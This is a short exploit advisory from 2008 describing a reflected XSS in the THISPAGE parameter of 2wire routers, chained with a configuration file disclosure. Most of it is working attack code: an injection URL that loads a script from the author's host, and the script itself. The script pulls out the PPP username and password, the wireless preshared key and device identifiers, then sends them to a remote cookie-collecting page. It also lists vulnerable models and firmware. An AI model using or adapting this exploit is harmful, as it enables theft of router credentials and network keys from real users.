```
2wire Remote Configuration Disclosure via XSS


2wire routers posses a configuration file disclosure vulnerability that when combined with an XSS
can lead to remote configuration disclosure.


The Configuration Disclosure vulnerability was first published by Javier Liendo (mirror:
http://www.hakim.ws/2wire/urlmagico.txt) and he also used Flash for anti-DNS pinning 7/08/2007).

An XSS vulnerability in the variable THISPAGE of the web configuration interface allows us to
remotely obtain the configuration file.

-XSS-
http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild
(createElement("script")).setAttribute
("src","http://www.hakim.ws/2wire/cfgpwn.js");</script><script>

-cfgpwn.js-
try {
xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_***",false);
xmlhttp.send(null);
var doc = xmlhttp.responseText;
var ppp = doc.substr(doc.indexOf('<PPP_USER>'),doc.indexOf('</PPP_PASS_REAL>')-doc.indexOf
('<PPP_USER>'));
alert(ppp);
var enc = doc.substr(doc.indexOf('<ARG NAME="essid">'),doc.indexOf('<ARG NAME="preshared_key">')
-doc.indexOf('<ARG NAME="essid">'));
alert(enc);
var mac = doc.substr(doc.lastIndexOf('<SYSTEM ASSEMBLYNUM'),doc.lastIndexOf('<DEVICE WAVE')-
doc.lastIndexOf('<SYSTEM ASSEMBLYNUM'));
alert(mac);
var con = doc.substr(doc.indexOf('<ARG NAME="Access Concentrator">'),55);
alert(con);
document.location="http://www.hakim.ws/blah/cookie.php?"+ppp+enc+mac+con;    //xD

*** data mas ommited to avoid kids
```

Vulnerable Models: 1701HG, 1800HW, 2071HG, 2700HG Gateway

Vulnerable Firmware: v3.17.5, 3.7.1, 4.25.19, 5.29.51

VIDEO: http://www.hakim.ws/2wire/cfgdisc.html

Greetz to sdc for an xss with no equal, al3x, darko, crypkey, nitr0us, deadsector, beavis and for the Comunidad Underground de Mexico.

hkm@hakim.ws - 08/04/2008